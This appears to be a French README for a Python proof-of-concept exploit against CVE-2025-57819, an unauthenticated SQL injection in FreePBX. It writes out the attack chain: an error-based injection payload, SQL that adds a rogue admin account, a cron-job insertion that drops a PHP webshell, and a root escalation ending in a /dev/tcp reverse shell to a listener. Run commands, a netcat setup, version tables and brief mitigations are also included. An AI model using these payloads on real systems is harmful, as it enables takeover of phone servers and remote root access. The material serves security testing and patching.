
Preuve de concept en Python exploitant CVE-2025-57819, une injection SQL non authentifiée dans FreePBX qui enchaîne la création d'un compte administrateur, le déploiement d'un webshell via cron et une escalade vers root.
À des fins éducatives et de recherche en sécurité uniquement - Voir la mention légale ci-dessous
Preuve de concept d'exploitation pour CVE-2025-57819, une vulnérabilité critique d'injection SQL non authentifiée dans FreePBX permettant l'exécution de code à distance. Ce PoC est publié après la sortie des correctifs officiels à des fins de recherche en sécurité et de tests autorisés uniquement.
Les versions 15.x, 16.x et 17.x de FreePBX (antérieures aux versions corrigées) sont vulnérables à une injection SQL non authentifiée dans le gestionnaire AJAX du module endpoint. Cette chaîne de vulnérabilités permet :
| ID CVE | CVE-2025-57819 |
| Type | Injection SQL non authentifiée (basée sur les erreurs) |
| CVSS | 9.8 / 10.0 (Critique) |
| Affecté | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Corrigé | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Oui (29 août 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
Le paramètre brand dans le gestionnaire AJAX du module endpoint accepte les entrées utilisateur sans validation, ce qui conduit à une injection SQL basée sur les erreurs.
Vérifiez l'injection SQL en utilisant l'extraction basée sur les erreurs via EXTRACTVALUE() pour divulguer le nom de la base de données :
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Insérer un nouvel utilisateur administratif dans asterisk.ampusers :
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
Avec des identifiants administrateur valides, l'exploit s'authentifie auprès de FreePBX et établit une session authentifiée. Les cookies de session sont enregistrés et utilisés pour toutes les requêtes authentifiées suivantes.
Injection d'une commande webshell dans asterisk.cron_jobs :
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
Le lanceur cron de FreePBX exécute la commande en tant qu'utilisateur asterisk, déposant un webshell PHP.
Le webshell PHP est déployé vers /var/www/html/shell.php :
<?php system($_GET['cmd']); ?>
Exploit interroge le webshell jusqu'à l'activation, obtenant une RCE en tant qu'utilisateur asterisk (uid=999).
Si incron est configuré sur la cible :
/var/spool/asterisk/incron/incrond (s'exécutant en tant que root) détecte la création du fichier/usr/bin/sysadmin_manager avec le nom du fichier déclencheursysadmin_manager valide la signature GPG et distribue au hook fwconsole-commands/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Résultat : shell root sur l'écouteur inverse (si incron est disponible).
brandasterisk.cron_jobs accessible en écriture exécute des commandes en tant qu'asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| Version | Statut |
|---|---|
| 15.0.0 - 15.0.65 | Vulnérable |
| 15.0.66+ | Corrigée |
| 16.0.0 - 16.0.88 | Vulnérable |
| 16.0.89+ | Corrigée |
| 17.0.0 - 17.0.2 | Vulnérable |
| 17.0.3+ | Corrigée |
Immédiat :
/admin/ajax.php depuis les réseaux non fiablessystemctl disable incrondPermanent : Mettre à niveau vers les versions corrigées : 15.0.66+, 16.0.89+ ou 17.0.3+
⚠️ AVERTISSEMENT
Cette preuve de concept est fournie UNIQUEMENT À DES FINS DE TESTS DE SÉCURITÉ AUTORISÉS ET D'APPRENTISSAGE. L'auteur décline toute responsabilité en cas de mauvaise utilisation ou de dommages causés par cet outil.
VOUS DEVEZ RESPECTER :
UTILISATIONS INTERDITES :
CLAUSE DE NON-RESPONSABILITÉ : L'auteur n'est pas responsable de :
Cette vulnérabilité est :
JazzTheRabbit
MIT License